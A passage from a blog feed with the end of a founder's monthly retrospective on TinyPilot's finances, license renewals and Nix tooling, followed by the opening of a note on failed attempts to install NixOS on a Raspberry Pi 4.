&lt;h3 id="stay-on-schedule-for-tinypilots-shift-to-our-contract-manufacturer">Stay on schedule for TinyPilot&amp;rsquo;s shift to our contract manufacturer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The schedule has now slipped three weeks.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>The manufacturing schedule slipped, as downstream vendors of the contract manufacturer need more time to produce components like power adapters and USB cables. We still have about three weeks of buffer before we reach zero inventory during the transition, but it&amp;rsquo;s getting a bit dicey.&lt;/p>
&lt;p>This wasn&amp;rsquo;t a well-designed goal, as I didn&amp;rsquo;t choose the deadline, and I have limited control over it. The most I can really do is prevent things from being blocked on TinyPilot&amp;rsquo;s side and hold the contract manufacturer to their schedule.&lt;/p>
&lt;h3 id="spend-less-than-40-of-my-time-on-email">Spend less than 40% of my time on email&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Spent most of my time on email.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I ended up spending way more of my time on email than I expected. I had some vacation travel in July, and I didn&amp;rsquo;t take into account how much email debt I&amp;rsquo;d acrrue on my days off.&lt;/p>
&lt;p>Ultimately, I spent most of my time this month responding to emails and reviewing my teammates&amp;rsquo; work.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2023&lt;/th>
 &lt;th>July 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>8,300&lt;/td>
 &lt;td>7,800&lt;/td>
 &lt;td>&lt;font color="red">-500 (-6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$88,378.45&lt;/td>
 &lt;td>$79,635.02&lt;/td>
 &lt;td>&lt;font color="red">-$8,743.43 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$4,399.66&lt;/td>
 &lt;td>$3,777.52&lt;/td>
 &lt;td>&lt;font color="red">-$622.14 (-14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$93,068.81&lt;/td>
 &lt;td>$83,703.24&lt;/td>
 &lt;td>&lt;font color="red">-$9,365.57 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$30,907.55&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$26,359.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$4,547.93 (-15%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Despite revenue dropping, profit is still in the $20-30k range. The number is somewhat inflated because my expenses are artificially low. With the transition to the contract manufacturer, I&amp;rsquo;m winding down my own production, so I&amp;rsquo;ve stopped buying new materials.&lt;/p>
&lt;p>I&amp;rsquo;m surprised to see website visitors down despite all the new reviews that came out. It looks like TinyPilot has probably saturated homelab reviews as a marketing channel for a while, so I should focus on other types of sales and marketing.&lt;/p>
&lt;h2 id="how-can-tinypilot-increase-recurring-revenue">How can TinyPilot increase recurring revenue?&lt;/h2>
&lt;p>Whenever TinyPilot&amp;rsquo;s sales slump, I start to think more about recurring revenue. It sure would be nice to have a stable income without relying on constantly finding new customers.&lt;/p>
&lt;p>I dread the day when everyone who wants a TinyPilot already has one. What will I do then?&lt;/p>
&lt;p>My plan from the beginning was that TinyPilot &lt;em>would&lt;/em> have recurring revenue. Customers would buy the hardware once, and then they&amp;rsquo;d fund ongoing software development and technical support by renewing their software license once a year.&lt;/p>
&lt;p>The problem is that I&amp;rsquo;ve never set up TinyPilot to collect recurring revenue from customers. Three years in, we barely have any recurring revenue outside of a few enterprise clients.&lt;/p>
&lt;p>In this retrospective, I want to think about possible paths to increasing recurring revenue for TinyPilot.&lt;/p>
&lt;h2 id="how-tinypilot-pros-licenses-currently-work">How TinyPilot Pro&amp;rsquo;s licenses currently work&lt;/h2>
&lt;p>I began work on a premium version of TinyPilot&amp;rsquo;s software a few weeks after I released the original DIY TinyPilot kits in 2020.&lt;/p>
&lt;p>One of the first features I started building for TinyPilot Pro was license checking. If I was going to sell a paid version of the software, I needed a way to check whether the user&amp;rsquo;s license was valid.&lt;/p>
&lt;p>As I began designing the license-checking system, I realized it would take me months to write just that component while juggling all of my other responsibilities as a founder. If it took me three months to implement license management, I&amp;rsquo;d still have to spend two months implementing other premium features so customers would have a compelling reason to purchase TinyPilot Pro.&lt;/p>
&lt;p>With the company only a few months old, I didn&amp;rsquo;t want to slow down momentum so much by making users wait five months until the next release.&lt;/p>
&lt;p>There&amp;rsquo;s a &lt;a href="https://basecamp.com/">Basecamp&lt;/a> blog post that I can&amp;rsquo;t find anymore where they talk about how they decided to start selling their SaaS product before they&amp;rsquo;d even written billing software. (&lt;strong>Edit&lt;/strong>: Nathan Coleman found it. It&amp;rsquo;s &lt;a href="https://basecamp.com/gettingreal/04.3-its-a-problem-when-its-a-problem#just-wing-it">from Basecamp&amp;rsquo;s book, &lt;em>Getting Real&lt;/em>&lt;/a>.) They reasoned that invoices for their software were due at the end of each month of service, so they had a month after their first sale to figure out how to collect the money.&lt;/p>
&lt;p>I adopted a similar strategy for TinyPilot. I settled on &lt;a href="https://mtlynch.io/retrospectives/2021/01/#enforcing-software-licenses-via-the-honor-system">the honor system&lt;/a> as a way of enforcing licenses with the expectation that I had a year to implement a real license management solution.&lt;/p>
&lt;p>Now, it&amp;rsquo;s three years later, and I still haven&amp;rsquo;t made any progress on license enforcement for TinyPilot Pro.&lt;/p>
&lt;h2 id="license-enforcement-at-the-worst-possible-time">License enforcement at the worst possible time&lt;/h2>
&lt;p>We advertise to customers that TinyPilot devices come with 12 months of free updates. Our dirty secret is that once you have TinyPilot Pro installed on your device, you can keep updating the software forever through the device&amp;rsquo;s web interface.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/08/update-dialog.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/08/update-dialog_hu_8c7e8c0e04475352.png 300w, https://mtlynch.io/retrospectives/2023/08/update-dialog_hu_2f51e3c5921e6ca1.png 600w, https://mtlynch.io/retrospectives/2023/08/update-dialog_hu_e99f0228b84a186a.png 800w, https://mtlynch.io/retrospectives/2023/08/update-dialog.png 861w'
 src="https://mtlynch.io/retrospectives/2023/08/update-dialog.png" alt="Screenshot of update dialog in TinyPilot web app" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s web app allows any device to retrieve the latest version of TinyPilot Pro&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>TinyPilot Pro&amp;rsquo;s software doesn&amp;rsquo;t track whether it&amp;rsquo;s associated with a valid license. There are users who purchased in August 2020 that are now in year three of their one-year license.&lt;/p>
&lt;p>The vast majority of customers don&amp;rsquo;t realize that their license expired at all. They assume, understandably so, that if TinyPilot continues delivering updates to their device, their license is still valid.&lt;/p>
&lt;p>Customers do sometimes discover that their license expired, but it happens at an especially inconvenient time.&lt;/p>
&lt;p>TinyPilot uses microSD cards for storage. microSDs are especially vulnerable to filesystem corruption. When the filesystem on a microSD goes bad, the only solution is to reflash the microSD from a TinyPilot Pro disk image.&lt;/p>
&lt;p>In order to download a TinyPilot Pro image, customers enter their order details. Before serving the image, we check if the customer still has a valid license.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 381px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/08/license-check.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 381px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/08/license-check_hu_d2c1fb95cfd734c0.png 300w, https://mtlynch.io/retrospectives/2023/08/license-check.png 379w'
 src="https://mtlynch.io/retrospectives/2023/08/license-check.png" alt="Screenshot of form asking the user to input their order number and email address to download TinyPilot Pro image" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>License check on &lt;a href="https://tinypilotkvm.com/pro/license-check">page to download TinyPilot Pro microSD image&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>From the customer&amp;rsquo;s perspective, this is a terrible way to find out that their license expired. Their filesystem got corrupted, so TinyPilot has interrupted their work. To fix the issue, they have to physically walk over to the device, remove the microSD, and reflash it. And now we&amp;rsquo;re shaking them down for more money?&lt;/p>
&lt;p>If the customer doesn&amp;rsquo;t want to buy a new image, we&amp;rsquo;ll still give them access to an old image if they contact support. They still have to wait up to one business day for a response from us, which is bad if we&amp;rsquo;re blocking their work.&lt;/p>
&lt;p>This system isn&amp;rsquo;t great for us either because requests for old TinyPilot Pro versions drain support resources. And once the customer gets a new image, they&amp;rsquo;re back on the &amp;ldquo;free updates forever&amp;rdquo; train because they can keep updating the software from within the device&amp;rsquo;s web interface.&lt;/p>
&lt;h2 id="what-would-make-recurring-subscriptions-worth-the-effort">What would make recurring subscriptions worth the effort?&lt;/h2>
&lt;p>Any kind of license enforcement is going to be expensive. At a minimum, we&amp;rsquo;d have to add something to TinyPilot&amp;rsquo;s web interface that allows customers to enter their license information, and then we need a server on the Internet that can decide whether the user qualifies for updates based on their license.&lt;/p>
&lt;p>That&amp;rsquo;s expensive to implement because it&amp;rsquo;s several weeks of dev work, and it increases support load when users inevitably email us saying they can&amp;rsquo;t access updates because they deleted the TinyPilot email with their order information.&lt;/p>
&lt;p>What if I go through all that effort and find that it has no impact on the renewal rate?&lt;/p>
&lt;p>For license renewals to be worthwhile, they&amp;rsquo;d need to generate at least $30k/yr in additional profit. I estimate payment processing for licenses will cost about 3%, so each license renewal nets TinyPilot about $77.&lt;/p>
&lt;p>To hit my target number of $30k/yr in additional profit from licenses, a minimum of 390 customers per year would have to renew their licenses each year (390 x $77 = $30k).&lt;/p>
&lt;p>Since we launched in 2020, TinyPilot has sold around 5,000 devices total. We currently sell around 2,700 new devices per year. Getting to 390 paying subscribers means convincing just 7.8% of our existing users to pay for continued updates, which seems doable.&lt;/p>
&lt;h2 id="how-can-i-test-customers-willingness-to-renew-their-licenses">How can I test customers&amp;rsquo; willingness to renew their licenses?&lt;/h2>
&lt;p>Okay, so I have to convince 7.8% of existing customers to purchase renewing licenses, but how can I find out if 7.8% is achievable without investing in a full-blown license management implementation?&lt;/p>
&lt;h3 id="forced-factory-resets">Forced factory resets&lt;/h3>
&lt;p>Earlier this year, we had to switch TinyPilot&amp;rsquo;s base OS from Debian Buster to Debian Bullseye. The Raspberry Pi OS doesn&amp;rsquo;t have a supported way to do major version upgrades, so we had to &lt;a href="https://web.archive.org/web/20230606130531/https://tinypilotkvm.com/faq/update-to-bullseye">force every user to manually reflash their microSD&lt;/a> to make the migration.&lt;/p>
&lt;p>I hated pushing that cost onto users, but we weren&amp;rsquo;t able to find any other option. One positive side effect was that it ended the &amp;ldquo;free forever&amp;rdquo; update train. If a user&amp;rsquo;s license was expired, they had to pay for a new 12-month license to continue receiving updates.&lt;/p>
&lt;p>We rolled out this change on April 27th, so I compared license renewals three months before and three months after the change:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>&lt;/th>
 &lt;th>Licenses Sold&lt;/th>
 &lt;th>Licensing Revenue&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Jan 26 to Apr 26&lt;/td>
 &lt;td>33&lt;/td>
 &lt;td>$2,400&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Apr 27 to Jul 27&lt;/td>
 &lt;td>55&lt;/td>
 &lt;td>$4,469&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Change&lt;/td>
 &lt;td>&lt;font color="green">+22 (67%)&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">$2,070 (+86%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>On the one hand, these changes are promising because forcing payment to upgrade led to a 67% increase in renewals. On the other hand, these changes are worrying because only 55 users renewed in three months. I estimate that around 2,500 devices have expired licenses, meaning that only 2.2% paid for an update.&lt;/p>
&lt;p>There are a few factors that bias the rate of renewals lower than they might otherwise be:&lt;/p>
&lt;ul>
&lt;li>A lot of our work recently has focused on making the update experience faster and less error-prone. This is useful, but nobody wants to update for the sake of making future updates smoother.&lt;/li>
&lt;li>Upgrading as part of a factory reset is high-friction. Some users are likely foregoing the update because they don&amp;rsquo;t feel like spending 20-30 minutes resetting their device.&lt;/li>
&lt;/ul>
&lt;h3 id="manual-expiration-notices">Manual expiration notices&lt;/h3>
&lt;p>I had an idea this month to try sending email notifications when customers&amp;rsquo; licenses had expired. This is something we could certainly automate, but before investing too much in automation, I tried sending out a few emails manually to see if anyone would respond or purchase based on my email.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 581px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/08/license-expired-note.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 581px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/08/license-expired-note_hu_477bad0f6236ac1d.png 300w, https://mtlynch.io/retrospectives/2023/08/license-expired-note.png 579w'
 src="https://mtlynch.io/retrospectives/2023/08/license-expired-note.png" alt="I&amp;#39;m Michael Lynch, the founder of TinyPilot. I&amp;#39;m reaching out because I saw that your one-year TinyPilot Pro license recently expired. Renewing your license is optional, but it gives you continued access to new features and bugfixes in TinyPilot&amp;#39;s software. We publish updates every two to three months, and you can see some of our recent work in the public changelog. Renewing your TinyPilot Pro license also gives you access to private email support as well as priority support in our public help forums. As a small company, we rely on license renewals to help fund improvements to the software, so thank you in advance if you choose to renew! If you&amp;#39;d rather not renew, I recommend downloading a copy of the latest version of TinyPilot Pro you qualify for (TinyPilot Pro 2.6.0). The image will allow you to factory reset your device if you ever need to." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I sent seven emails in order to test out the idea, but none of the recipients renewed or responded to the email. It&amp;rsquo;s too small a sample to draw conclusions. If I need 7.8% of customers to renew, then that&amp;rsquo;s only one customer out of 12 or 13.&lt;/p>
&lt;p>I&amp;rsquo;m reluctant to continue this experiment because there are a lot of factors working against it:&lt;/p>
&lt;ul>
&lt;li>The emails catch them at a time when they don&amp;rsquo;t necessarily care about continuing to receive TinyPilot updates. If the prompt appeared in the TinyPilot web app when the user clicked the &amp;ldquo;Update&amp;rdquo; button, it would be a more meaningful test.&lt;/li>
&lt;li>Some customers purchased TinyPilot with email addresses that indicate they&amp;rsquo;re secondary accounts for junk mail, so they might not even be seeing my note.&lt;/li>
&lt;li>These customers may notice that they can keep receiving new updates even if they don&amp;rsquo;t pay for renewal, so they wouldn&amp;rsquo;t have any incentive to renew.&lt;/li>
&lt;/ul>
&lt;h3 id="add-an-auto-renew-option">Add an auto-renew option&lt;/h3>
&lt;p>We currently only offer license renewals as one-time purchases. I haven&amp;rsquo;t explored a recurring subscription option because Shopify only has native support for one-time purchases.&lt;/p>
&lt;p>To collect recurring payments on Shopify, I&amp;rsquo;d need to use a third-party Shopify app, and I hate doing that. In my experience, Shopify apps are low-quality, and they require me to share broad access to my customers&amp;rsquo; information, including customers whose purchase never touches the third-party integration.&lt;/p>
&lt;p>Still, compared to other experiments, an auto-renew option has a pretty good bang for its buck in terms of testing customers&amp;rsquo; willingness to subscribe. If I just added another option on the license purchase page, like &amp;ldquo;Or purchase a yearly subscription for 10% off,&amp;rdquo; it would tell me whether any customers are willing to subscribe.&lt;/p>
&lt;p>It would be relatively easy to add a subscription button, and we likely wouldn&amp;rsquo;t have to change any of our other processes or systems because the subscriptions would just show up as regular Shopify orders.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="what-got-done">&lt;a href="https://whatgotdone.com">What Got Done&lt;/a>&lt;/h3>
&lt;p>I&amp;rsquo;ve been &lt;a href="https://mtlynch.io/tags/nix/">experimenting with Nix&lt;/a> recently, and one of the features that interests me is &lt;code>nix develop&lt;/code>. It lets you create a self-contained shell environment with exactly the dev tools you need to build and test your project.&lt;/p>
&lt;p>One of the annoyances I run into with my various software projects is the difficulty of maintaining dependencies. My projects&amp;rsquo; dependencies are tied to specific versions like Go 1.19 or Node.js 16. Whenever I have to upgrade to the next version, it&amp;rsquo;s a pain to figure out how to install it in my dev environment, then update the version numbers in my continuous integration (CI) configuration.&lt;/p>
&lt;p>Worse, if I have multiple projects on the same system, updating Node.js for one project means that the other projects now have unexpected versions of Node.js and npm.&lt;/p>
&lt;p>The promise of &lt;code>nix develop&lt;/code> is that I could define the dependencies in one place: a &lt;a href="https://nixos.wiki/wiki/Flakes">Nix flake&lt;/a>. If I needed to upgrade to the next version of Go, for example, I&amp;rsquo;d just update one file, re-run &lt;code>nix develop&lt;/code>, and I&amp;rsquo;d have a local shell with the right version of Go. My CI environment would run the same version. The environment is local to the directory, so changing package versions wouldn&amp;rsquo;t affect any other projects on the same system.&lt;/p>
&lt;p>I started experimenting with &lt;code>nix develop&lt;/code> in &lt;a href="https://github.com/mtlynch/whatgotdone/blob/dd3ea38885b04280bcea07f5294440e9a3521301/flake.nix">What Got Done&lt;/a> because it depends on Go and Node.js, and managing versions has been a pain point.&lt;/p>
&lt;p>It&amp;rsquo;s been interesting playing with Nix for What Got Done&amp;rsquo;s development environments, but here are the roadblocks I&amp;rsquo;ve run into so far:&lt;/p>
&lt;ul>
&lt;li>I &lt;a href="https://www.reddit.com/r/NixOS/comments/15d874l/trying_to_create_a_nix_flake_for_go_with_static/">couldn&amp;rsquo;t figure out how to make Go static binary builds work&lt;/a>, and &lt;a href="https://github.com/mtlynch/whatgotdone/pull/884/files">the solution&lt;/a> feels kind of like, &amp;ldquo;You should just know this magic incantation.&amp;rdquo;&lt;/li>
&lt;li>There&amp;rsquo;s no easy way to specify an exact version of a dependency.
&lt;ul>
&lt;li>I expected to be able to declare versions similar to Docker, like &lt;code>go:1.19.3&lt;/code>, but &lt;a href="https://github.com/NixOS/nixpkgs/issues/9682">Nix doesn&amp;rsquo;t support those semantics&lt;/a>.&lt;/li>
&lt;li>For a tool that focuses so much on reproducibility, this surprised me.&lt;/li>
&lt;li>The closest solution I&amp;rsquo;ve found is to &lt;a href="https://gist.github.com/toraritte/62e53be9e6d88d8b6b97391eb3c6558b#22-pin-nixpkgs-in-a-nix-expression">use a third-party tool&lt;/a> to find the nixpkgs hash associated with a package version, then pin your package to that nixpkgs hash. Here&amp;rsquo;s what that looks like for &lt;a href="https://github.com/mtlynch/whatgotdone/blob/67f098bace4c7d6302c193dc20e85d4e6a6761a2/flake.nix#L14-L18">one of What Got Done&amp;rsquo;s dependencies&lt;/a>.&lt;/li>
&lt;li>&lt;a href="https://github.com/jetpack-io/devbox">Devbox&lt;/a> solves this problem, but then you&amp;rsquo;re only indirectly using Nix, and you have to learn to use Devbox&amp;rsquo;s abstraction on top of Nix.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Populating the Nix store is prohibitively slow.
&lt;ul>
&lt;li>There&amp;rsquo;s a &lt;a href="https://hub.docker.com/r/nixos/nix">&lt;code>nixos/nix&lt;/code> Docker image&lt;/a> that I can spin up pretty quickly in CircleCI, but building the Nix environment for my Nix+Go flake takes about two minutes.&lt;/li>
&lt;li>This means that any CI step I run has to burn two minutes just initializing Nix.&lt;/li>
&lt;li>I tried caching the Nix store, but it&amp;rsquo;s about 3 GB, which CircleCI takes about two minutes to download and decompress. I believe CircleCI stores its cache files on Amazon S3, so performance is terrible unless the cache size is &amp;lt;1 GB.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done-1">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/nixos-pi4/">&amp;ldquo;Installing NixOS on Raspberry Pi 4&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Learned to use &lt;a href="https://hurl.dev/">hurl&lt;/a> to replace curl-based integration tests for HTTP APIs.&lt;/li>
&lt;li>Visited Charlotte, NC and Montreal, Canada.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>TinyPilot seems to have exhausted the marketing value we were getting from blog and YouTube reviews.
&lt;ul>
&lt;li>I&amp;rsquo;m seeing diminished returns for new reviews relative to the effect that new reviews had a year ago. It&amp;rsquo;s definitely not the effect we saw &lt;a href="https://mtlynch.io/retrospectives/2021/02/#tinypilots-first-youtube-review">two years ago when a single review nearly tripled sales&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>An auto-renewing TinyPilot license option is the best bang-for-buck way to test the market for recurring revenue.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Shift manufacturing to our contract manufacturer as quickly as possible.&lt;/li>
&lt;li>Create a detailed plan for moving out of TinyPilot&amp;rsquo;s local office.&lt;/li>
&lt;li>Test an option for auto-renewing TinyPilot licenses.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>If you have experience (good or bad) with a third-party recurring subscription app for Shopify, especially for digital producs, shoot me an &lt;a href="https://mtlynch.io/about/">email&lt;/a>.&lt;/li>
&lt;li>If you can find &lt;a href="#how-tinypilot-pros-licenses-currently-work">that Basecamp story&lt;/a> that I partially remember, let me know in the comments.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Failed Attempts to Install NixOS on the Raspberry Pi 4</title><link>https://mtlynch.io/notes/nixos-pi4-failed-attempts/</link><pubDate>Tue, 18 Jul 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/nixos-pi4-failed-attempts/</guid><description>&lt;p>In creating the tutorial, &lt;a href="https://mtlynch.io/nixos-pi4/">&amp;ldquo;Installing NixOS on Raspberry Pi 4,&amp;rdquo;&lt;/a> I ran into a ton of paths that didn&amp;rsquo;t work.&lt;/p>
&lt;p>I&amp;rsquo;ve collected them here for the sake of saving others time retrying the same steps.&lt;/p>
&lt;h2 id="the-standard-nixos-aarch64-image-doesnt-work">The standard NixOS aarch64 image doesn&amp;rsquo;t work&lt;/h2>
&lt;p>When I checked the NixOS download page, I saw that they offered 64-bit ARM images.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64_hu_e72d4992cf3cf8.webp 300w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64_hu_664c24d811c5c00d.webp 600w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64_hu_fd1e200d6a7c225b.webp 800w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64.webp 1168w'
 src="https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64.webp" alt="Screenshot of 64-bit ARM download links on NixOS download page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>NixOS offers bootable images for 64-bit ARM systems&lt;/p></description><content:encoded>&lt;p>In creating the tutorial, &lt;a href="https://mtlynch.io/nixos-pi4/">&amp;ldquo;Installing NixOS on Raspberry Pi 4,&amp;rdquo;&lt;/a> I ran into a ton of paths that didn&amp;rsquo;t work.&lt;/p>
&lt;p>I&amp;rsquo;ve collected them here for the sake of saving others time retrying the same steps.&lt;/p>
&lt;h2 id="the-standard-nixos-aarch64-image-doesnt-work">The standard NixOS aarch64 image doesn&amp;rsquo;t work&lt;/h2>
&lt;p>When I checked the NixOS download page, I saw that they offered 64-bit ARM images.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64_hu_e72d4992cf3cf8.webp 300w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64_hu_664c24d811c5c00d.webp 600w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64_hu_fd1e200d6a7c225b.webp 800w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64.webp 1168w'
 src="https://mtlynch.io/notes/nixos-pi4-failed-attempts/nixos-arm64.webp" alt="Screenshot of 64-bit ARM download links on NixOS download page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>NixOS offers bootable images for 64-bit ARM systems&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&amp;ldquo;Wonderful!&amp;rdquo; I thought to myself, as the Pi 4 has a 64-bit ARM CPU. But then the Pi &lt;a href="https://mtlynch.io/notes/nix-first-impressions/#failed-attempt-2-nixos-on-the-raspberry-pi-4">couldn&amp;rsquo;t boot the image at all&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot_hu_a79dffbb4e62ea4.png 300w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot_hu_b69e3ac6bdab3aad.png 600w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot_hu_9ea2949a3b055939.png 800w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot_hu_9281c0130358e57d.png 1200w, https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot.png 1405w'
 src="https://mtlynch.io/notes/nixos-pi4-failed-attempts/pi-noboot.png" alt="Pi boot screen that says &amp;#39;Progress: Trying boot mode USB-MSD&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Pi 4 fails to boot the standard NixOS ARM image&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I learned later that NixOS&amp;rsquo;s main pre-built 64-bit ARM images require the system to have UEFI, which the Raspberry Pi 4 does not support.&lt;/p>
&lt;h2 id="the-latest-nixos-2305-microsd-doesnt-work-on-raspberry-pi-4">The latest NixOS (23.05) microSD doesn&amp;rsquo;t work on Raspberry Pi 4&lt;/h2>
&lt;p>NixOS still publishes microSD images for single-board computers like the Raspberry Pi. I tried flashing &lt;code>nixos-sd-image-23.05.1123.aaef163eac7-aarch64-linux.img&lt;/code> to a microSD, but I got this error when I tried to apply my &lt;code>configuration.nix&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Applying overlay rpi4-vc4-fkms-v3d-overlay to bcm2711-rpi-cm4-io.dtb...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to apply &amp;#39;/nix/store/22l342jmwsaazvnz1zd5qq5m3b3ppsbd-rpi4-vc4-fkms-v3d-overlay-dtbo&amp;#39;: FDT_ERR_NOTFOUND
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: builder for &amp;#39;/nix/store/cgv9mmkhwy6gc4y48pfmxnjam46404kr-device-tree-overlays.drv&amp;#39; failed with exit code 1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: 1 dependencies of derivation &amp;#39;/nix/store/w77gh3p4wzbildmmr2dh1c254qlm3nv4-nixos-system-pinix-23.05.1123.aaef163eac7.drv&amp;#39; failed to build
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That error led me to &lt;a href="https://github.com/NixOS/nixos-hardware/issues/631">a bug&lt;/a> in the &lt;code>nixos-hardware&lt;/code> repo, but there&amp;rsquo;s no fix available at the time of this writing.&lt;/p>
&lt;p>I can work around the bug by deleting this line from the &lt;code>configuration.nix&lt;/code> file`:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>hardware.raspberry-pi.&amp;#34;4&amp;#34;.fkms-3d.enable = true;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But then the install then fails later on:&lt;/p>
